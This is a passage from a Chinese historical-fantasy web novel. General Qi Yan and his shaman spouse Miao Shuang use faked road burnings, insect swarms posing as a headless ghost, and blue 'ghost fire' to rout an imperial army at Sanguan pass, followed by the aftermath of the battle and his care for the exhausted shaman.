“嗐,”魏然被他夸得有些不好意思,颇为窘迫地摸了摸后脑勺,“还不是当年随将军围剿南照兵马,将军用兵之奇令人惊叹,我这两年也常常钻研兵法,还是比不上将军九牛一毛。” 苗霜看了他一眼:“你对祁雁这么心驰神往,彭鸿飞是怎么留你在麾下的?” 魏然十分尴尬:“这不是……一有机会就被赶出来了吗……” 几位将领哈哈大笑,祁雁看向苗霜,总觉得他这话有点酸溜溜的,但碍于其他人在,也不好问,还是先说正事:“我在京中时,也曾与熊将军共事过一段时间,他屡次找我探讨战术,相比其他人,他对我的了解的确更深一些。” 魏然:“所以我没说错,这的确是诱兵之计?” 祁雁点了点头:“十有八九。” “既然如此,那我们就反将他一军!他料定我们不敢走斜谷,我们偏要走斜谷!”一个年轻将领道。 祁雁却摇了摇头:“熊威此人,虽自负托大,却不蠢,大军不会只守斜谷,却也不会不守,只要他放个三五万人守关,我们注定要和他血战一场,运气好能一举攻破,若是运气不好,让他反应过来,调兵支援,对我们极为不利,而我们此行的目的,本就不是和禁军决一死战。” “说得对啊,”魏然附和道,“这些年各方节度使拥兵自重,京中能调动的人马本就不多了,这些兵不是季渊的兵,而是大雍的兵,若损失太过,就算将军真取代季渊当了这皇帝,手下也是无兵可用,无力抵挡各方节度使不说,还有那狄历和西蕃虎视眈眈——” “这可如何是好?”几位将领顿时犯了难,“不能硬拼,究竟要如何破局?明明这关中已唾手可得,难道要在这种时候困死在这梁州?” “诸位莫急,”祁雁微微一笑,不紧不慢道,“而今,我还有一计。” * “将军!将军!大事不好!” “何事惊慌?”熊将军有些不悦地看着闯进营帐的探子,“难道祁雁日行八百里,攻到我大营来了?” “那、那倒没有,”探子喘着粗气,“斜谷栈道,被……被烧了!” “你说什么?!”熊将军腾地起身,“你再说一遍,此事当真?” “千真万确!今日天高风急,这火一烧就停不下来,到现在还没灭呢,您快出去看看吧!” 熊将军沉着脸色,一出营帐,果然看到斜谷方向浓烟滚滚,这异状惊动了军营里的将士,此刻正议论纷纷。 “……该死的祁雁!”熊将军啐了一口,“这栈道修了多少年才修到今天这般平整,他居然说烧就烧了!” 麾下将领纷纷聚集到主帐周围,七嘴八舌:“将军,他是不是怕了?先前我们放出消息说大军驻扎眉坞,他定是怕我们从斜谷道南下直取梁州,这才烧了栈道,让我们无路可走!” “没了斜谷道,不是还有故道!我看这祁雁也是个怂货,听到我们大军前来,便龟缩梁州不出,将军,反正现在斜谷被烧,我们过不去,他也过不来!我看咱们干脆集中兵力从故道杀进梁州,祁雁手下不过四万乌合之众,何以抵挡我们十万精兵!” “混账东西!”熊将军怒火中烧,愤然踹了他一脚,“祁雁此人最为狡诈,若真照你说的办,就中了他的计!” “那、那怎么办啊?”一干人等皆是束手无策,“他不肯出秦岭,我们也不敢下梁州,这一来二去,还不是要打持久战?陛下那边催得紧,若是陛下见我们许久没动静,逼我们攻打梁州,咱们更是骑虎难下啊将军!” 熊将军焦急地在原地走来走去,一时也拿不定主意,忽有人上前来:“将军,从京都那边送来的道士到了。” “一群道士有个屁用!能替我砍下祁雁的脑袋吗!”熊将军骂道,“哄皇帝的玩意儿,皇帝信,你也信?!” “这……属下知错。” “不行,再等等,”熊将军停下脚步,“我不信祁雁真能止步于此,他谋划至今,不就是为了回京夺权,替祁家被满门抄斩的三百余口复仇?” “祁雁此人,狐谋虎胆,谁都会怕,唯独他不会,他定下的目标绝不会变,不出数日,他必有动作。”熊将军做出决定,“或许,他不是在诱我们出兵,而是在诱我们退兵,不如我们将计就计……” 他将几个将领召集过来,一番安排,众人皆领命而去:“是!” * 梁州营。 “将军真要率军攻散关?之前不是说这是贼人诱兵之计吗,怎么现在又要自投罗网?” “将军的心思你别猜,咱们照做就是了。” “我听说咱们‘火烧栈道’后,贼人那叫一个气急败坏,五天来了七次看栈道是不是真的没了,没过两天,原本调去散关那两千精兵又撤了,说是京中有令,让他们班师回朝。” “哈?兴师动众来了一趟,一仗都没打又跑了,这不是耍我们吗?” “嘘,都别说了,将军来了。” 祁雁走上高台,俯看营中万千将士,用内力将自己的声音扩散出去:“诸位,祁某需三千人随我突袭散关,谁愿往?” 麾下将士齐举兵刃,喊声震天:“我愿往!” “从古至今,散关乃天险,咽喉要地,易守难攻,此去千难万险,有死无生——谁愿往?!” 众将士非但不惧,喊声更甚先前:“我愿往!!” “好,”祁雁拔出短刀,割破自己的手指,用力按下指印,“祁某今日立军令状,若不能得胜归来,便与诸位共死!” 军营中的氛围一时间激昂至极:“愿与将军共存亡!” 祁雁命人搬来几个大箱子:“这里面是三千枚生死牌,一枚不多一枚不少,愿与我同往者,上前领取此牌,在木牌上刻下自己的姓名、籍贯,带在身上,若得胜过来,借此牌换军功一等,若不幸身死,送此牌如送尔归乡。” 话音刚落,士兵们便一拥而上,瞬间将所有的生死牌一抢而空。 “祁雁在此谢诸位高义,”祁雁冲众人抱拳,而后转向魏然,“魏将军,余下的人马就交给你带领,依计行事。” 魏然:“是!” 进行完了战前动员,祁雁回到营房:“夫人,准备得如何了?” “已经准备好了,”苗霜懒洋洋地抱着胳膊倚在门边,“你每次打仗前都搞这么大阵仗吗?吵死了。” “雁归军自然不需要我动员,但这批新兵都是第一次跟我,输什么不能输士气,人心一散,作战必败。” “你不也去领个生死牌?”苗霜笑道,“若你战死了,我帮你把你的牌子送回故里?” 祁雁闻言不禁挑了挑眉:“夫人知我故里在何处?” “不知,但不重要,你既然和我成亲,那苗寨就是你的故土。” 祁雁忍不住笑了,凑到他跟前来:“我出生在灵州,但我祖籍其实是原州人,可惜我自幼便在军中,从未回过故土,我若身死,夫人可要替我回去看看。” “算了吧,”苗霜才懒得接这种麻烦活儿,“随口一说,你还真信了,你要是死了,尸首不得被拉回晏安让季渊仔细辨认三天三夜,还想送牌子呢。” 祁雁本来也没指望他真能答应,不再继续这个话题,伸手牵住他的手:“夫人,启程。” 第114章 第 114 章 鬼将鬼马闯天险,百万…… 故道, 散关。 守关的士兵打了个哈欠,连续多日的戒备已经让他们疲惫不堪,从一开始的提心吊胆, 到如今的精神萎靡。 “你们说,这祁雁究竟还会来吗?”一人忍不住开口, “我们等了他这么久,怎么一点动静都没有?” “将军说他一定会来, 别懈怠,再等等吧。” “我看他是不会来了,”一人不屑道,“自从得到他攻破梁州的消息,我们就在等他,到现在都等了一个月了,但凡他有把握破关,早就来了,龟缩至今, 可不就是怕了?” “就是就是,什么大雍第一名将, 战无不克攻无不胜,我看,都是吹出来的吧!” 众人哈哈大笑,正在这时,一个士兵突然揉了揉眼,有些难以置信地向前方望去:“你们看, 那是什么?” 一团黑影悄无声息地出现在了官道之上,距离太远,一时也分辨不出那是什么东西。 众人定睛细看, 仅仅一个眨眼之间,那团黑影又消失了。 “什么东西?什么也没有啊,”有人疑惑开口,“这几天精神太紧绷,出幻觉了吧?我看你啊,今天下了值,回去好好休息。” “怎么可能,我明明看到了……” 话音未落,身边突然传来一声惊叫,那人伸手向前指去:“你、你们看!” 原本消失在视线尽头的黑影竟在转瞬间出现在了关城之下,缓缓向他们靠近,那黑影似是一匹马,又似一个人。 “那到底是什么?!”士兵们睁大双眼,“是人吗?那是人吗?” 有人大惊失色:“无头厉鬼……是无头厉鬼!” 无头的黑影骑着战马,在城楼前勒马而停,它一点点抬起并不存在的头颅,向城墙上看来。 “敌袭!敌袭——!” 凄厉的警报声瞬间响彻整座关城,士兵们纷纷抄起武器,全线戒备,守关的将领一声令下:“放箭!” 数不清的箭矢如雨而下,眨眼将那道黑影射成了筛子,可箭矢从黑影身前穿进,又从身后穿出,竟好似什么都没射中,直接钉入地面。 “停!” 弓弩手齐齐停止了射击,那黑影被箭矢打得模糊了些,像是行将化在水中的墨,但紧接着,缭绕周身的鬼气又重新凝聚起来,甚至比之前更清晰几分。 鬼马喷着鼻息,碗口大的马蹄不耐地刨着地面,而那无头鬼将依然好端端地坐在马背上,没有被箭矢伤到一丝一毫。 一阵阴风吹过,本已是春天的山坳间却透骨的凉,乌云蔽日,阴云笼罩下的一切都显得那么鬼气森森。 任谁看了这样一幕也要吓得肝胆俱裂,已有胆小的士兵开始腿肚子发软,颤巍巍道:“鬼……真的是鬼啊!” “快、快去禀报将军!” 早已等候多时的熊将军闻讯赶来,登上城楼,破口大骂:“这世上根本没有鬼!再在这里惑乱军心,小心我砍了你们的脑袋……” 一句话没说完,他的声音戛然而止,因为他赫然看到城楼之下停着一人一马,那人的身形像极了祁雁,而肩颈之上空空如也,竟没有头颅。 即便是坚决不信鬼神之说的熊将军在看到这一幕后也有些动摇,面部肌肉微微抽搐起来,几乎不敢相信自己的眼睛。 “将军,先前的传闻都是真的!这无头厉鬼刀砍无用,也不惧箭射,我们要怎么消灭它啊!” “怕什么!”熊将军呵斥道,“就算那真是祁雁的亡魂,也不过一人一马,难道还能从我眼皮子底下闯过关隘不成!” 他说着吩咐手下人:“去!把那几个道士给我绑来!管他祁雁究竟是人是鬼,今日,我熊威务必将他斩于城下!” 道士们很快被押上了城楼,有人一见那厉鬼状貌,竟直接吓晕了过去,熊将军捏住一个道士的脖子,将他按在城墙垛口间:“给我看清楚了!这东西究竟是人是鬼?!” 极度的惊惧之中那道士哪敢细看,只瞥了无头黑影一眼,就已经吓得快要尿裤子,大叫道:“是鬼,是鬼啊!凶中带煞,厉鬼无疑!” “既然是鬼,就给我除了它!不然要你们这群道士何用?!今日若不能让此鬼魂飞魄散,你们就全下去给我喂鬼吧!” 道士们惊慌失措,纷纷开始掏自己驱鬼用的法器,景行则躲在角落里旁观。 刚刚他看到城下黑影时,也被吓了一跳,那东西乍看上去的确很像无头厉鬼,可越看越觉得不对劲。 这人……不,这鬼身上并没有祁雁的气息。 可那鬼影和鬼马都实在逼真,一时半会儿他也分辨不出那究竟是什么,只好静观其变。 不知是谁开口道:“头,快把他的头还给他!” 道士们壮着胆子,颤抖着取出装着“祁雁头骨”的布包,用力向城楼下丢去。 布包在地上滚了几滚,恰好停在鬼影面前。 道士们聚精会神观察着鬼影的反应,有人口中念念有词,开始念起了超度亡魂的咒文。 城下鬼影半晌未动,正当众人以为超度起效了时,那鬼马突然嘶鸣一声,抬蹄人立,碗大的马蹄重重落下,一脚踏在布包之上,将里面的头骨踏得粉碎。 众道士大惊:“搞错了,你们搞错了!那不是祁雁的头!” “乱葬岗那么多颗头,谁能分清哪个是祁雁的?!” “你们……厉鬼怒了,厉鬼怒了!” 无头鬼将座下鬼马引颈长嘶,愤怒地喘着粗气,开始一步步向后退去。 “它要冲城了!怎么办,快想办法!” “火攻,用火攻!”危急关头,一个道士灵机一动,“阴邪之物最怕火烧!我这有符,用符射它!” 弓箭手将火符钉在箭上,弓弦拉满,朝着鬼影一箭射出。 火符噌一下燃起,火箭流星般朝鬼影射去,可就在即将射中的瞬间,那鬼影却突然消失了。 下一秒,弓箭手只觉头顶笼罩来一片阴影,他愕然抬头,只见本在数丈开外的鬼影竟已降落在城楼之上,鬼气缠绕的长枪割裂空气,他颈间一凉—— 天地倒转,他最后看到的是自己站立的身体,也和那厉鬼一般失去了头颅。 鲜血从颈项间喷涌而出,弓箭手的脑袋就这样跌落在城墙上,死不瞑目。 一时间四野寂静无声,所有人惊惧的表情在脸上定格,紧接着,凄厉的嘶嚎此起彼伏,叫喊、求饶、兵刃掉落声混在一起,城楼之上乱作一团。 捏着火符的道士颤抖着抬起手,冷汗簌簌从鬓边滑落,然而他还来不及将火符催动,一缕鬼气已缠绕上他的手,那几张火符便在他指间化作齑粉。 道士惊恐到了极点,两眼一翻,干脆利落地晕了过去。 守关将士们已被厉鬼吓破了胆,竟没有一个敢上前迎敌,熊将军强压着恐惧勃然大怒:“给我上!都给我顶上!退一步斩!” 然而自乱阵脚的士兵们哪里还有半点士气,鬼枪所过之处血肉横飞,浓重的血腥味在城楼上弥漫开来,断肢遍地,令人作呕。 熊将军已经偷偷溜下了城楼,喝道:“都给我上!杀祁雁者,重赏!” 军令如山,前来支援的士兵们顶着巨大的恐惧,源源不断地涌上城楼,和那无头鬼将缠斗在一起,景行见势不妙,立刻躲进了远离战场的角落。 血腥味冲得他一阵阵反胃,心脏在胸腔里怦怦直跳,他拍了拍自己的胸口,艰难咽下一口唾沫。 刚刚……他听到了。 就在厉鬼冲上城楼那一瞬间的安静中,他听到了类似虫翅振动的嗡鸣声,从那鬼将鬼马身上传来。 那厉鬼……是虫子? 无数只虫子组成的鬼影,今日天色昏暗,的确难以辨别,刚刚的寂静中本已露出破绽,嗡鸣之声却又迅速被尖叫淹没了。 是大巫。 大巫也跟着祁雁一起来了! 如此可怖的驭虫之术,竟能将人和马模仿得惟妙惟肖,甚至能模拟长枪砍下人头,这苗疆大巫,还是人吗? 不过,仅凭这些虫子却也不可能突破十万大军的防线,巫术暴|露是迟早的事,他们应该还有下一步计划吧。 果不其然,在与士兵们缠斗了一会儿之后,那“厉鬼”渐渐露出疲态,越来越多的攻击搅散了虫群,看眼着快要维持不住人形。 而就在这时。 脚下的地面突然传来一阵细微的震动,不知是谁大喊一声:“快看!” 官道之上又出现了密密麻麻的鬼影,成军阵排列,一眼望不到尽头,没人知道它们是何时出现的,也没人分得清这些鬼影究竟有多少。 “阴兵借道……是阴兵借道!” 无穷无尽的鬼影向关隘奔袭而来,一道道扑向城楼,化作数不清的虫群,群山之中树影晃动,虫群倾巢而出,遮天蔽日,转瞬之间就将城楼淹没。 景行急忙封闭七窍,虫群从身上爬过的滋味令人毛骨悚然,城楼上的将士们在漫天虫潮中已经睁不开眼,甚至无法呼救,一张嘴便有几十几百只虫子闯进喉咙,险些将人活活呛死。 虫群越过城墙继续向前扑咬,才刚刚从鬼将手中夺取的半分优势又因压倒性的攻击而节节败退,士兵们哪里还有余力反击,只顾蹲下身来,拼命护住自己的脑袋。 还没撤到安全地方的熊将军也被虫潮淹没,他拼命挥手驱赶着这些该死的虫子,破口大骂:“你们都是干什么吃的!只是一些虫子,都给我上!” 一开口就被虫子灌了满嘴,他啐了一口,只得找地方暂时躲避,还没来得及喘口气,就见探子顶着呼啸的虫潮前来汇报:“将军!不好了!斜谷被破了!” “你说什么?!”熊将军大惊,“斜谷栈道都被烧了,如何被破?!” “是阴兵,是阴兵!”探子的叫喊在漫天虫声中也显得微不足道,“那些阴兵身上全都燃着鬼火!正朝这边快速行进!将军,我们要不快撤吧!若是被他们赶到,我们腹背受敌啊!” 熊将军:“……” 难道这世上,真的有鬼? 不然,他们怎么能突破早已被烧的栈道,怎么能聚集得起这漫天虫潮? 脸上突然很痒,他用力拍了上去,一只虫子死在掌心,和血花一并绽开的,还有一张诡异可怖的人脸。 熊将军一惊,急忙将人脸虫子从手中甩落,内心剧烈动摇:“可祁雁不死,死的就是我!” “将军!难道您真要看着十万大军被这些阴兵活活撕碎吗?!这些阴兵何止四万人马,或许百万之师啊!” 熊将军还没来得及回答,另一路探子又飞马来报:“将军!大事不妙!京都来讯,范阳节度使派出人马进京护驾,说要为皇帝出征清剿叛军,现已兵临晏安城下!” “……你说什么?” 熊将军一时愕然,电光石火的一瞬间,他终于想通了祁雁的计策,原来这些时日他所做的一切,不过是在声东击西,为范阳起事争取时间。 “哈……祁雁……!”熊将军目眦欲裂,“该死的祁雁!!” 祁雁竟以身作饵,诱季渊派出十万精锐,将他们拖在秦岭月余,而今京中空虚,早已无力抵挡范阳雄师。 从他向陛下求来兵马的那一刻起,就已经落进了祁雁的圈套。 熊将军双目赤红,几乎要把牙关咬碎,他狠狠闭上双眼:“中计了……晏安有难,撤!” 熊将军飞身上马,身后早已无力抵挡的将士们兵败如山倒,惶惶然四散纷逃,此时,祁雁所率三千兵马才现出身来,祁雁一马当先,借轻功自城墙飞掠而上:“狗贼,哪里跑!” 内力将声音远播开去,在山谷间回荡不休,熊将军闻声大惊,仓皇向谷口逃窜。 士兵们搭云梯、抛飞爪,迅速攻占了城楼,城门大开,余下人马冲杀进来,所有跑得慢的皆成刀下亡魂。 虫潮开始散去,视野渐渐清明,祁雁随手砍翻了两个敌人,飞身自城楼跃下,一脚将熊将军麾下一个将领踹下马去,夺了他的长枪和战马,策马向谷口急追而去。 大军随熊将军向东溃逃,魏然率领的“阴兵”正向西而来,远远望去,那一片幽蓝鬼火飞速接近,本就惶恐至极的士兵们更是人马惧惊,阴兵还未到跟前,自己先乱成了一锅粥。 前有阴兵,后有鬼将,众人已是无路可逃,祁雁一身轻装,骑着战马飞驰而来,直朝乱军之中的熊将军奔袭而去,高声大喝:“熊威!” 熊将军浑身一颤,下意识回了头,只见那人从马背上一跃而起,枪随人动,雪亮的枪刃凌空向他刺来:“狗贼受死!” 长枪自他后背刺入,又整个从前心贯出,祁雁握住染血的枪杆,枪尖旋下熊将军的脑袋,将尸身从马背上扫落,他踏马而立,挑着人头的长枪高擎: “贼将已死!投降不杀——!!” 第115章 第 115 章 大巫晕倒了,您快去看…… 熊将军的人头被枪尖高高挑起, 于众目睽睽下威慑三军。 鲜血顺着断裂的颈项不断滴落,将祁雁半身衣袍染成血红,那身影在血光中骇人至极, 宛如刚从地狱爬上来的修罗恶鬼。 周遭人马纷纷避让,竟无一人敢与他短兵相接。 “放下武器, 投降不杀!” 祁雁带来的人在后方穷追不舍,喊声震天, 失去主将的十万兵马瞬间土崩瓦解,溃不成军,不过多时,便纷纷弃刃卸武,跪地投降。 魏然率领的人马也已赶到,那一线蓝火从天边烧来,竟吓得已经投降的禁军们抱头鼠窜:“鬼、鬼啊!” 魏然率人迅速控制住了场面,祁雁跃下马背,将长枪连同熊将军的人头一并插在地上。 几个士兵押着两人上前:“报告将军!熊威麾下将领杀一人, 活捉两人,如何处置?” 祁雁回过头看了他们一眼, 他刚杀完人,身上还带着逼人的戾气,吓得那两个将领膝盖一软,跪倒在地。 其中一人正欲开口求饶,祁雁的命令却已下达:“杀了。” “是!” 将领被杀,余下的人全部投降, 兵甲扔了一地,祁雁看着跪了满地的士兵们,开口道:“识时务者为俊杰, 诸位都是大雍的子民,许多人或许还在我麾下练过兵,我与诸位就算不是朋友,却也绝非敌人。” “而今皇帝昏庸,大雍内忧外患,民不聊生,尔等不光为皇帝而战,更该为国而战!祁雁一生忠君,却遭君主忌惮,被子虚乌有的谋逆之罪构陷,祸及家人,害祁家三百余口满门抄斩!每每想起,便食不下咽夜难安寝,痛如日日忍受鞭笞凌迟,屡次想以死谢罪,却又苟活至今,为何?!” 他说着,渐渐红了眼眶,用内力散播出去的声音微微哽咽:“祁雁并不贪图荣华富贵,也非渴慕那万人之上的滔天权势,只因放不下这满目疮痍的故土!诸位身为禁军,拱卫皇城,在那繁华帝都苟且偷安,受尽百姓恩惠,却又有几人真正目睹过百姓疾苦?!诸位此番不妨就随我一道,看看若无天下人供养,那偌大晏安城又能支撑几时!” 此言一出,士兵们纷纷低下头去,有人羞愧,有人畏惧。 “若是不愿,祁某自然也不会逼你们,”祁雁继续道,“便在此地随你们的将领同去,也算为国捐躯。” 熊将军的头颅还在地上钉着,惊骇的表情在死的那一刻定格在脸上,血腥可怖。 士兵们面面相觑,内心已是剧烈动摇,有个胆子大的抬起头道:“将军,您……真的不是鬼吗?” 这话实在让祁雁啼笑皆非,他有些无奈地叹了口气:“这世上从来没有什么鬼,我麾下所率也非阴兵,他们和你们一样都是人,诸位身为朝廷禁军,却被区区障眼之法吓破了胆,岂不令人笑话?” “……我等惭愧,”那士兵单膝跪地,冲祁雁抱拳,“久闻祁将军威名,今日所见,五体投地,愿为将军效力,誓死追随!” 众人齐齐抱拳:“誓死追随将军!” “好,”祁雁叫来几个将领,吩咐道:“你们带些人马,清点伤亡,收拾军备,魏将军,你带剩下的人先行一步,回熊威他们驻扎的营地修整。” “是!” 祁雁又转向刚刚投降的禁军们:“此役不论得胜者或牺牲者,皆为大雍将士,不该曝尸荒野,若阵亡者中有你们认识的人,可自愿留下来帮忙收敛尸首,将随身物品送还家人。” 有人抹了把眼泪:“谢将军!” 任务分配完,众人各自领命而去,这时,一人快速跑到祁雁身边,低声道:“将军。” “何事?” “大巫那边情况有些不太好,您快回去看看吧!” 祁雁闻言面色微变:“走。” 两人牵了两匹快马,一路疾奔回到散关,这里的战斗早已结束,留下来的士兵们正在收拾残局。 满地都是人的尸体,虫的尸体,断肢与鲜血证明着战争的惨烈,冲天血气令人作呕,山谷关隘间一片肃杀。 祁雁在关城内一处还算干净的营房里找到了苗霜,两个士兵在门口值守,一见他,立马迎上前来:“将军!您总算回来了!” “大巫怎么样?” “刚刚虫潮散去后就晕倒了,到现在还没醒来!” 祁雁微惊,急忙进入屋子,只见苗霜蜷缩在床上,眉头紧锁,脸色惨白,不见一点血色。 他伸手想去抱他,却看到自己满手血污,又急忙收了回来,脱去身上被血溅脏的外袍,又在盥盆里洗了手,擦了脸,身上血腥味淡了些,这才在床边坐下。 他小心将苗霜抱进怀里,只觉他手脚冰凉,将指尖搭在他手腕上,脉象有些虚浮,但应该并无大碍。 祁雁这才松了口气,苗霜应该是消耗过度,体力透支才晕倒的,如此大范围的驭虫,几乎调动了附近山脉中所有的虫子才弄出这种阵仗,不透支才怪。 他不禁有些懊恼,当时他急于去追熊威,竟没停下来多看一眼。 “你们去弄碗粥来,”他吩咐手下人道,“多放些糖。” “是!” 祁雁将苗霜的手塞进自己衣服里捂着,感觉到他的身体稍微回暖了些,试着轻声唤他:“夫人,夫人?” “……别吵,”许久,苗霜才闭着眼睛应了声,“头疼。” 祁雁急忙噤声,把手放在他太阳穴上,帮他按揉起来。 相比体力,驭虫更消耗的是精力,同时控制这么多虫子,尤其是控制虫子凝聚成人形,即便是苗霜也已经到了极限,他现在脑子疼得快要炸开,冷汗出了一层又一层,整个人像刚从水里捞上来的。 他其实很想睡觉,但尖锐的头痛让他根本无法入睡,那些家伙以为他在昏迷,其实他只是没力气动弹而已。 被祁雁按揉了一会儿,对方的体温透过衣服渗透过来,驱散了些许寒意,苗霜终于感觉头疼有所缓解,有力气睁开眼睛了,但还是十分目眩,不大看得清东西。 睁开眼更晕,索性又闭上了,一直等到下属送来熬好的粥。 刚盛出来的白粥冒着热气,祁雁接过粥碗,用勺子舀了一勺,轻轻吹得不烫了,这才送到苗霜唇边:“多少喝两口。” 苗霜实在很不想喝,更不想让他喂,但身体透支让他别无他法,再不吃点什么补充一下,他只怕都没办法站着离开这座关城。 于是他只好不情不愿地张开了嘴,抿了口粥,嚼也懒得嚼,直接往下吞。 白粥放了不少糖,倒是很甜,不至于没滋没味,祁雁喂一口他就喝一口,他半倚在祁雁身上,脑袋靠在他肩头,歪着身子,粥不可能一滴不洒,一不小心顺着嘴角流淌下来,祁雁迅速用手帕帮他拭去。 守在门口的两个士兵就这么看着,皆是目瞪口呆,将军刚在战场上杀完人,回来就给夫人喂粥,这波无缝切换委实让人看傻了眼。 苗霜把那粥喝掉大半碗,不想喝了,不论祁雁怎么哄都不肯再张嘴,无奈,祁雁只得将他放下,三两口扒拉完剩下的粥,被齁得直皱眉。 他坐在床边,本想陪苗霜多待一会儿,但没过多久,又有人闯进屋子:“将军。” 祁雁颇有些不耐:“又怎么了?” 那士兵听出他的不悦,语气也变得小心起来:“所有没逃走的人都生擒了,除了散关守军,还有一些道士,这些人我们该如何处置?” “道士?”祁雁冷笑了下,“季渊可真会病急乱投医,都是些无关的人,从哪来送回哪去。” “是。” 士兵领命去了,没过多一会儿,竟又折返:“将军,那些道士里有个人说想见您。” 祁雁耐心彻底告罄,眉头一压:“不……” “不见”二字还没说完,忽然感觉苗霜碰了碰他的手,对方没睁眼,只道:“是景行,你去吧,我不要紧。” 他声音还是有气无力,但相较之前已经好了许多,祁雁拧紧的眉头这才慢慢舒展:“那好吧,你再休息一会儿,我去去就回。” 他帮苗霜掖好了被角,起身出门:“你们照看好大巫,别让其他人进来。” “明白。” 祁雁离开营房,看到已经等候在门口的景行:“道长,许久不见,近来可好?” 景行见了他,不禁瞪大双眼,惊叫出声:“啊?!” 祁雁不解:“怎么?” “你、你怎么站起来了!”景行上上下下将他打量了一遍,怀疑自己是真的见了鬼,“你的腿,不是……” “是夫人给我治好了。”祁雁道。 “这样还能治好?”景行感觉不可思议,“大巫真是妙手回春,再世华佗!” “……”祁雁十分无语,听不出他究竟是在夸苗霜还是在损自己,没接他的话茬,“之前赵戎他们告诉我,道长留在了普州,怎会出现在此处?” 一听这个,景行脸上的表情顿时垮了:“唉,别提了,我刚从普州回到道观,才给祖师爷上了炷香,就被人绑进京城,说什么最近‘无头厉鬼’‘阴兵借道’的传闻闹得沸沸扬扬,陛下怀疑那无头厉鬼是祁雁的鬼魂来找他索命,于是把我们这些道士强行抓来前线,让我们做法驱鬼——我还以为你真的死了呢!” “真是荒唐,”祁雁皱起眉头,“你们都可还好?可有伤亡?” “这……”景行沉默了下,“我们当中,有个前辈七十多了,这一路奔波,来的路上就不行了,刚刚一番混战,许多人都受了伤,有几个伤重不治……” 他没把话说完,祁雁却已知道结局了,他闭了闭眼,心里说不上是什么滋味。 他为了尽量减少伤亡,才派人散播阴兵借道的消息,打攻心之战,却又因此连累了一些无辜的人,害本该独善其身的道士们枉死沙场。 世事终难两全。 “带我去看看吧。”他道。 景行带着他来到一处空地,这里已经堆积了许多尸首,负责清理战场的士兵们还在往空地上搬运,许多尸体缺胳膊少腿,裹尸的白布都不够用了,只能露天摆放。 这样的场面祁雁见过太多,与其说不痛心,倒不如说是麻木,他跟着景行来到最角落,看到四五个道士聚集在此,一个十几岁的少年坐在地上,守着一具尸体,无声哭泣。 祁雁看着他们,也不知该说什么,只能道:“你们可知死去的人籍贯哪里,我会派人把他们的遗骸送回家乡。” “不必了,”那少年站起身来,抹去脸上的眼泪,“前辈为保护我,已羽化登仙,留在凡间不过遗蜕,于何地飞升,便葬于何处。” “……好吧,”祁雁尊重他们的选择,“等伤亡清点完毕,我会负责安排。” “哎,大家都别难过了,得道飞升,这是好事,咱们该高兴才对!”景行抽了抽鼻子,终究是没拆穿那位为保护少年而死的“前辈”不过是个招摇撞骗的假道士,“咱们来都来了,也不能什么都不做就回去,做法事的家伙事儿大家也带了,这里这么多亡魂,咱们可有的忙了,快快,大家都行动起来吧!” “没错,”另外几人也点了点头,对祁雁道,“祁将军,这里就交给我们吧。” “……好,那就辛苦诸位了。” 没受伤的道士们在景行的号召下行动起来,超度的咒诀响起,负责搬运尸体的士兵们肃然往来。 祁雁走到城楼上,看着人们泼洗城墙上的鲜血,将视线投向前方,远眺九州万里。 血染的江山,依旧苍翠如濯。 第116章 第 116 章 时隔一年零三月,终回…… 祁雁离开城楼, 回去找苗霜。 收拾残局一时半会儿收拾不完,他准备先带苗霜回大营,一来这里尸体太多, 血腥味太冲,不利于休养, 二来大营那边有刚刚投降的十万大军,他若太久不去坐镇, 恐生事端。 再次进入营房时,苗霜已经坐起身来,他看上去比之前好了许多,但脸色还是十分苍白。 “夫人,”祁雁来到他跟前,轻声询问,“头还疼吗?” 苗霜恹恹地“嗯”了声。 “那我再帮你揉揉?” “不必了,一时半会儿好不了。” 正所谓医者不能自医,苗霜被蛊王咬过成为大巫, 百毒不侵的同时,所有药物也不对他起效, 若是蛊虫也无法为他治愈的病症,比如头疼,那就只能等待自愈。 祁雁抿了抿唇,很想帮他,却又无计可施,只得道:“我们回大营吧, 到了以后你吃点东西,再好好休息一晚。” “嗯。”苗霜应了声,慢慢站起身来, 谁料刚一起身,就感到一阵剧烈的晕眩,他下意识地抓住了离他最近的东西,也就是祁雁,才勉强稳住身形,没有摔倒。 祁雁急忙将他扶住,见他这站都站不稳的样子,实在很是担忧,转头吩咐门口的守卫道:“去找辆马车来。” 马车很快停在了营房门口,祁雁伸手在苗霜膝弯处一捞,将人打横抱了起来。 苗霜沉默了下:“放开,这两步路我自己能走。” “夫人还是别逞强了。”祁雁坚决不肯,不顾他的反对,强行抱着他上了马车。 周遭士兵们眼观鼻鼻观心,装作什么也没看见。 祁雁驾着马车,把苗霜带回了大营,找了处空营帐将他安顿下来。 军营里的将士们正各司其职,随行军医在给伤者进行治疗,后勤开始准备晚饭,营地各处飘出袅袅炊烟。 祁雁回到主帐,一进去,就被众将领团团围住:“将军,您回来了!” 刚打了一场胜仗的小将们还很兴奋,七嘴八舌地同他讨论起来,魏然道:“将军,您可真是神了,您不知道我带人去冲击他们大军主力时,他们脸上那表情,活像见了鬼啊!” “可不就是见鬼吗,”另一个将领道,“他们估计做梦也想不到,已经被烧毁的栈道居然还能走人吧!” 众人哈哈大笑,祁雁冲他们比了个噤声的手势:“别打扰大巫休息。” 苗霜就在隔壁,这营帐的隔音效果可实在不怎么好。 将领们立刻住嘴,纷纷压低了声音:“将军,我们真是对您佩服得五体投地。” “都是大巫的功劳。”祁雁道。 之前,苗霜趁夜色在斜谷栈道靠近北端的一段上布下幻阵,第二天一早,祁雁又派人在山谷内焚烧秸秆,浓烟滚滚,制造出栈道被烧的假象。 至于鬼火,则是祁雁让大军前锋高举毡布,提前将毡布用植物汁液和酒浸透,再点燃时,便可让火焰呈现出蓝色,远远望去,犹如幽蓝鬼火。 不过这种办法也有一定危险性,如果不能在湿毡布烧干之前结束,就很有可能烧伤自己,而且不能在太明亮的地方使用,他们特意选择在光线昏暗的阴天开战,一是为了虫群模拟的“鬼影”更逼真,二是为了“鬼火”能被肉眼看见。 不过说到底,也都是一些障眼法而已,但凡熊威认真一些,都能察觉出破绽,他们分明带了道士,却没用在正确的地方,如果让道士们看看“被烧”的栈道,说不定就能勘破苗霜的幻阵。 总而言之,敌人的麻痹大意让这场心理战大获全胜,战争永远残酷,一步错,步步错。 “将军说得对,若是没有大巫帮忙,咱们肯定少不了和他们一番血拼,说不定咱们几个都不能一个不少地站在这里。” 众人纷纷赞同,魏然道:“刚刚听说大巫因为体力透支晕倒了,他现在还好吗?有没有什么我们能做的?” “缓过来了些,但还是需要休息,”祁雁想了想道,“营地里粮草还够吗?” “够,我们刚刚清点了一下,禁军们带了大批粮草,至少够我们再吃半个月的。” 